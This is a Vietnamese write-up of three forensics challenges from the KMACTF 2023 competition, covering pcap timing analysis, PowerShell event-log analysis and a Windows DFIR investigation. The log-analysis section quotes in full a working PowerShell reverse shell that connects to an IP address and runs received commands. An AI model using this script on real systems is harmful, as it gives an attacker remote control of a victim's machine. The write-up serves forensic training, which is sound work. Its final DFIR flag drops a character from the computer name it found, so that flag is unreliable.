---
# System prepended metadata

title: KMACTF 2023_1
tags: ['@write_up']

---

# Challenges 

| Category  | Challenge Name    | Difficulty |
| --------- | ----------------- | ---------- |
|           |                   |            |
| Forensics | Time chaos        | Easy       |
| Forensics | Log analysis      | Medium     |
| Forensics | DFIR              | Medium     |

## Time chaos : 

### Kỹ Thuật : 
+ Phân tích dựa trên frame.time_relative trong pcap có thể sử dụng để xác định các sự kiện và mô hình hoạt động của mạng. Các ứng dụng phân tích mạng có thể sử dụng thời gian tương đối để đo và phân tích sự trễ, tìm hiểu tốc độ truyền dữ liệu, xác định chu kỳ hoạt động của giao thức mạng và xác định các lỗi hoặc sự cố trong mạng.

### Des : 

![](https://hackmd.io/_uploads/B13G0uWun.png)

### Sol : 

+ Đề cung cấp cho mình 1 tệp pcap.
+ Mở wireshark lên phân tích thì mình thấy nó chứa 100% protocol icmp. 
+ Theo mô tả của đề bài thì thời gian trong file bị hỗn loạn => sắp xếp thời gian theo thứ tự tăng dần từ nhỏ đến lớn. 
+ Mình tìm thấy  được đúng format của flag là KMACTF{}.

![](https://hackmd.io/_uploads/BkZgWtZ_3.png)

![](https://hackmd.io/_uploads/SJQWWFZu2.png)

![](https://hackmd.io/_uploads/Hk1zbF-O3.png)
![](https://hackmd.io/_uploads/Hy9GbYbu3.png)
![](https://hackmd.io/_uploads/BkHmWFWun.png)
![](https://hackmd.io/_uploads/Hk14-Ybu3.png)

+ Oke bây giờ mình sẽ dùng tshark để lấy các phần data này ra : 

1. Lấy phần data : 
`tshark -r Time_chaos.pcap -Y "icmp" -T fields -e data.data | xxd -r -p > data.txt`

2. Lấy phần time : 
`tshark -r Time_chaos.pcap -Y "icmp" -T fields -e frame.time_relative > time.txt`

+ Cuối cùng mình viết kịch bản để sắp xếp các data lại dựa vào time : 

```
data = []
time = []

with open("data.txt", 'r') as d:
    read_data = d.read()
    for i in read_data:
        data.append(i)

with open("time.txt", 'r') as t:
    read_time = t.readlines()
    for i in read_time:
        time.append(float(i.strip())) 

if len(data) == len(time):
    for i in range(len(time)-1):
        for j in range(i+1, len(time)):
            if  time[j] < time[i]:
                time[i], time[j] = time[j], time[i]
                data[i], data[j] = data[j], data[i]

   
    print(''.join(data))
else:
    print("Error")

```

![](https://hackmd.io/_uploads/Bk8ihcWdh.png)

=> Flag : 
`KMACTF{C0d3_cun9_du0c_t0Ol_Cun9_DuOc_nHun9_h1_v0n9_b4n_kh0n9_l@m_m0t_c4cH_tHu_C0nG}`

## Log analysis : 

### Kỹ Thuât : 

+ C2 : cho phép kẻ tấn công tạo ra một liên lạc hoặc kết nối với máy tính mục tiêu đã bị xâm nhập và thực hiện các hoạt động như gửi lệnh, thu thập dữ liệu, truyền tải tập tin và thậm chí điều khiển máy tính mục tiêu từ xa.

### Des : 


![](https://hackmd.io/_uploads/HyKKm9Wu2.png)


### Sol : 

+ Đề cung cấp cho chúng ta 1 file logs. 
+ File log chủ yếu là các file evtx (event log) 
+ Mình mở nó bằng tool event viewer trên win để phân tích.
+ Các bài về logs thì thường nó sẽ liên quan đến powershell. 
+ Và mình tập trung chủ yếu ở file `Microsoft-Windows-PowerShell%4Operational.evtx (1)`

(1) -> `Tập tin log Microsoft-Windows-PowerShell%4Operational.evtx có thể được sử dụng để theo dõi, kiểm tra và phân tích các hoạt động PowerShell trên hệ thống, hỗ trợ việc xác định sự cố, gỡ lỗi và kiểm tra tính bảo mật.`

+ Phân tích 1 lúc thì mình tìm thấy được được powershell này : 
 
 ![](https://hackmd.io/_uploads/SyyPH9-Oh.png)

![](https://hackmd.io/_uploads/Byxsu5Wdh.png)

=> file revshell.ps1
```
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27", 4953)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
$sendbyte = "KMACTF{$(([System.BitConverter]::ToString(([System.Security.Cryptography.MD5]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes(((Get-Process -Id $PID).Id.ToString()+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name+(Get-Date).ToString())))))).Replace('-', '').ToLower())}"
$sendbyteBytes = [System.Text.Encoding]::ASCII.GetBytes($sendbyte)
$stream.Write($sendbyteBytes, 0, $sendbyteBytes.Length)
$stream.Flush()
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
    $sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()
```

+ Ở đây chúng ta chú ý hàm `$sendbyte `, hàm này chứa format flag và các thông tin yêu cầu để lấy được cờ.

```
Get-Process -Id $PID trả về thông tin về quá trình PowerShell hiện tại, và .Id.ToString() được sử dụng để lấy ID của quá trình đó.

[System.Security.Principal.WindowsIdentity]::GetCurrent().Name trả về tên người dùng hiện tại đang chạy quá trình PowerShell.

Get-Date trả về thời điểm hiện tại.

Chuỗi được tạo bằng cách kết hợp ID quá trình, tên người dùng và thời gian hiện tại.

[System.Text.Encoding]::UTF8.GetBytes() chuyển đổi chuỗi kết hợp thành mảng byte sử dụng mã hóa UTF-8.

[System.Security.Cryptography.MD5]::Create().ComputeHash() tính toán giá trị băm MD5 của mảng byte trên.

[System.BitConverter]::ToString() chuyển đổi giá trị băm MD5 thành chuỗi hexa.

.Replace('-', '').ToLower() loại bỏ ký tự "-" và chuyển đổi thành chữ thường.

Cuối cùng, chuỗi hexa được chèn vào chuỗi "KMACTF{...}" để tạo chuỗi kết quả cuối cùng gán cho biến $sendbyte.
```

+ Thì 3 thứ mình cần tìm ở đây là `$PID` (process ID) , user name, date and time : 

1. $PID : 
 
_Mình tìm nó ở phần XML view của 3  event level warning(do cả 3 đều liên quan đến file revshell.ps1) nhưng có 1 cái thì xem ko được(chắc do author đã ẩn nó đi) và 2 cái còn lại thì xem được, đặc biệt là cả hai đểu dẫn về chung cùng 1 process ID là `4144`

![](https://hackmd.io/_uploads/rkxJ9qbuh.png)

![](https://hackmd.io/_uploads/S1Zgc9ZOn.png)

=> $PID : 4144.

2. User name : 

_Mình tìm thấy nó ở event ID 4100 level warning : 


![](https://hackmd.io/_uploads/S14iq9Wu3.png)

=> User : `KMA\long`

3. Date and Time : 

_Thì mình tìm thấy thời gian mà author đã tạo file revshell.ps1 này ở event ID 4104 level warning : 

![](https://hackmd.io/_uploads/SyQHj5-_3.png)

=> Date And Time : `5/22/2023 5:09:58 PM` 

+ Sau khi đã tìm đủ 3 dữ kiện ở trên => mình ghép chúng vào hàm $sendbyte để lấy flag : 

```
echo "KMACTF{$(([System.BitConverter]::ToString(([System.Security.Cryptography.MD5]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes(("4144"+"KMA\long"+"5/22/2023 5:09:58 PM")))))).Replace('-', '').ToLower())}"
```
![](https://hackmd.io/_uploads/B1bCUA-On.png)

=> Flag : `KMACTF{0da4ab044b8e929ec9c75bc44d24777e}`

## DFIR 

### Kỹ Thuật :

+ Phân tích tệp tin
+ Phân tích hành vi động

### Des : 

![](https://hackmd.io/_uploads/HJmQ6qWOn.png)

### Sol : 

+ Đề cung cấp cho mình 1 file DFIR(Digital Forensics and Incident Response).
+ Theo mô tả của đề bài thì ở đây chúng ta có 3 dữ kiện để tìm kiếm : 
1. Tên máy tính : 
_Dữ kiện này thường nằm ở "file system" là thuật ngữ được sử dụng để chỉ các hệ thống tệp tin được sử dụng để tổ chức và lưu trữ dữ liệu trên một hệ thống máy tính.

_Và mình tìm thấy nó ở `SYSTEM\ControlSet001\Control\ComputerName`: 

![](https://hackmd.io/_uploads/B1Uc4JfO2.png)


=> `DESKTOP-AL3DV8F`

2. Thời gian(UTC) mà Anna đã xem video về hack trên youtube ? 

_Ở đây chúng ta sẽ tìm history của ứng dụng mà anna đã xem thì mình phát hiện ở `AppData\Local\BraveSofware\Brave-Browser\User Data\Default`  có file SQL DB Browser history 

_Mình ném nó vào tool `DB Browser for SQL` để xem thì ở phần Table `urls` có video hack mà anna đã xem : 

![](https://hackmd.io/_uploads/r1u2OJz_h.png)

_Nhưng có 1 cái là khi mình dùng [tool on](https://www.unixtimestamp.com/) để convert từ dữ liệu phần last_visit_time thì nó lại ko chính xác(đây cũng là lý do mình sub mãi vẫn ko đúng bài này).

![](https://hackmd.io/_uploads/r1ejFkMdn.png)

_Hết giải thì mình giải lại nó và có 1 cách để xem time của nó là bằng tool `autopsy` khi import folder chứa file history đó. Và mình đã tìm thấy được time : 

![](https://hackmd.io/_uploads/ryfIikzOh.png)



=> Đổi ICT sang UTC : `21/05/2023-09:04:13`

3. Thời gian cuối cùng mà người dùng đăng nhập thất bại ?

_Tệp SAM chứa thông tin về người dùng và các tài khoản hệ thống trên máy tính Windows. Đặc biệt, nó chứa các bản ghi về tài khoản người dùng, mật khẩu băm (hashed passwords), thông tin về tài khoản quản trị (Administrator), và các thiết lập bảo mật liên quan. Tệp SAM nằm trong thư mục hệ thống (System32\Config) và thường được bảo vệ chặt chẽ để tránh truy cập trái phép.

=> Tìm được lần đăng nhập thất bại cuối cùng ở path `SAM\SAM\Domains\Account\Users\000003E8` : 

![](https://hackmd.io/_uploads/r17kn1fdn.png)

=> `5/9/2023 8:17:51 UTC`

=> Flag : `KMACTF{DESKTOP-AL3DV8_21/05/2023-09:04:13_09/05/2023-08:17:51}`


## RES : 

+ https://www.crowdstrike.com/cybersecurity-101/digital-forensics-and-incident-response-dfir/
+ https://sec.vnpt.vn/2022/03/windows-event-logs-1/
+ https://www.elvidence.com.au/understanding-time-stamps-in-packet-capture-data-pcap-files/